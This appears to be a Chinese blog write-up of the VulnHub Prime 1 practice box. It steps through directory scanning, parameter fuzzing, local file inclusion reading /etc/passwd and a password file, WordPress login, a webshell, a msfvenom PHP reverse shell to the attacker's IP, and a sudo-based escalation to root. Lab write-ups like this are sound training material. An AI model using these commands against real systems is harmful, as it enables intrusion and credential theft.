Prime_Series_level_1 靶机 Writeup

 

一、前情提要

靶机环境:https://www.vulnhub.com/entry/prime-1,358/
靶机渗透我分为了六个阶段,每个阶段都有相应下一阶段的提示。
我的kali攻击机IP:192.168.119.134
靶机IP:192.168.119.128
 

二、步骤

靶机导入后,访问靶机。网站只有一张图片,没有任何其他信息。

阶段一。

1)使用工具dirb扫描目录。
命令:dirb http://192.168.119.128
默认采用common.txt字典,若使用别的字典,直接在URL后加入字典路径,字典可添加多个,用逗号分隔。
dirb <url_base> [<wordlist_file(s)>]
扫描出的目录,打开发现,dev路径有下一步的提示。提示挖掘的更深一些。(此处一开始没明白,后面理解,就是让我们继续扫描指定文件类型。)
 

阶段二。

1)使用dirb工具扫描PHP文件和TXT文件。
命令:dirb http://192.168.119.128 -X .php,.txt
这里扫出了三个,其中secret.txt有下一阶段的提示。image.php和index.php也是第三阶段会用到的。
根据提示需要对发现的PHP文件fuzz出可以利用的参数。提示中提供了一个可用的fuzz工具。
 

阶段三。

1)使用fuzzing工具爆破参数。
工具地址:https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
根据阶段二的提示,下一阶段的提示在location.txt文件中。通过fuzz出正确参数,读取该文件。根据工具使用说明,使用如下命令。
命令:wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hl 7 http://192.168.119.128/index.php?FUZZ=location.txt
说明:-w 指定字典路径。
      --hl 7 是过滤条件,过滤Lines为7L的响应结果,过滤条件还可以过滤响应码如--hc 404、过滤Word如--hw 42、过滤Chars如--hh 334。
      FUZZ 是指定爆破的位置,字典会在FUZZ位置跑。
利用工具发现了可利用的参数是file,通过浏览器访问http://192.168.119.128/index.php?file=location.txt
得到下一阶段提示:在其他PHP页面中有secrettier360参数可以被利用。
 

阶段四。

目前扫描发现的除了index.php就是image.php。所以在image.php页面测试secrettier360参数。猜测这个参数也可以用于读取文件。
1)继续使用fuzzing工具。
命令:wfuzz -w /usr/share/wfuzz/wordlist/Injections/All_attack.txt --hl 6 http://192.168.119.128/image.php?secrettier360=FUZZ
这里使用了另一个wordlist,All_attack.txt里有常用敏感路劲。
同样浏览器访问192.168.119.128/image.php?secrettier360=/etc/passwd
获得提示:find password.txt file in my directory:/home/saket
所以浏览器访问:http://192.168.119.128/image.php?secrettier360=/home/saket/password.txt
获得密码:follow_the_ippsec

阶段五。

在阶段一扫描目录时,已知该网站是个WordPress。可以访问:http://192.168.119.128/wordpress/ 可以看到有个Victor用户。
也有一个登陆页面:http://192.168.119.128/wordpress/wp-login.php
尝试用获取的密码登陆,可以成功登陆网站后台。
 
 
(这个阶段,应该还是要对WordPress有一些基本知识)
这个阶段是找一个可以写入内容的页面。在theme editor里有一个secret.php页面。
1)中国蚁剑工具。
在secret.php写入一句话木马。然后用中国蚁剑连接。连接后可以启动虚拟终端。(可能是我的蚁剑版本问题,有一步进行不下去,后面换了msf)
GitHub蚁剑项目上有一些示例。GitHub地址:https://github.com/AntSwordProject/AwesomeScript/
2)msf工具。
使用payload(php/meterpreter/reverse_tcp)生成shell.php。打开shell.php文件,将内容复制到secret.php中。
命令:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.119.132 lport=4444 -f raw -o /opt/OSPC/prime1/shell.php
      -p选择相应payload
      lhost=本地IP
      lport=监听端口
      -f raw 指定输出格式。
      -o 指定输出文件的位置
将secret.php文件上传成功后,使用msf模块(exploit/multi/handler),设置lhost和lport和payload(php/meterpreter/reverse_tcp),开启监听后,浏览器打开secret.php页面。
shell,进入命令行。
python -c 'import pty;pty.spawn("/bin/bash")'  设置terminal。
 

阶段六。

成功连接后,以www-data用户登录服务器。本阶段为最后阶段,目标就是获取root权限。(本阶段应该需要一些对本地敏感文件搜寻技巧。)
1)在/opt下有一个backup_pass文件,存有密码。
这里有一个提示enc文件,此处密码用于enc文件。
2)find命令查找文件。命令:find /home -name enc (在home文件夹下搜索enc)
enc文件是一个可执行文件。
直接执行提示需要输入密码。输入密码后提示权限不足。看提示应该是从/root复制文件到当前路径。所以使用sudo执行。
 
 
3)enc.txt文件是一窜加密的文本。key.txt内容是提示如何解密enc.txt的加密文本。
此处用到两个网站:
    https://www.devglan.com/online-tools/aes-encryption-decryption
    https://www.cmd5.com/
提示的意思,应该是先把ippsec进行md5加密,加密后的值用于解密enc.txt。
ipsec md5加密后的值为:366a74cb3c959de17d61db30591c39d1
enc解密后内容:Dont worry saket one day we will reach toour destination very soon. And if you forget your username then use your old password==> "tribute_to_ippsec"Victor,
4)根据解密后的内容,获得了saket密码。从www-data用户切换到saket用户。
切换到saket用户后,查看下saket用户的权限。
命令:sudo -l
可以看到saket用户可以执行/home/victor/undefeated_victor,尝试执行。
5)执行后,提示/tmp/challenge: not found,将/bin/bash复制到/tmp/challenge,(这步操作是Google来的,还没弄明白。)然后再次执行,成功获取root权限。
命令:cp /bin/bash /tmp/challenge
获取权限后,可以看到undefeated_victor文件具有S特殊执行权限。
 

三、过程总结。

整个渗透过程总结来讲就是以下五步,关键还是要理解提供的提示,此靶机对WordPress和Linux需要一定的基础知识,作为level 1难度不高,个人认为是培养思路为主。
1、扫描敏感路劲和文件。
2、fuzz可用参数。
3、登录管理员后台,寻找可写入的页面,上传webshell。
4、连接webshell,寻找服务器本地敏感文件,如存储密码的文件和可执行的文件。
5、最终获取root权限。
posted @ 2020-07-26 17:45  b10d9  阅读(438)  评论(0编辑  收藏  举报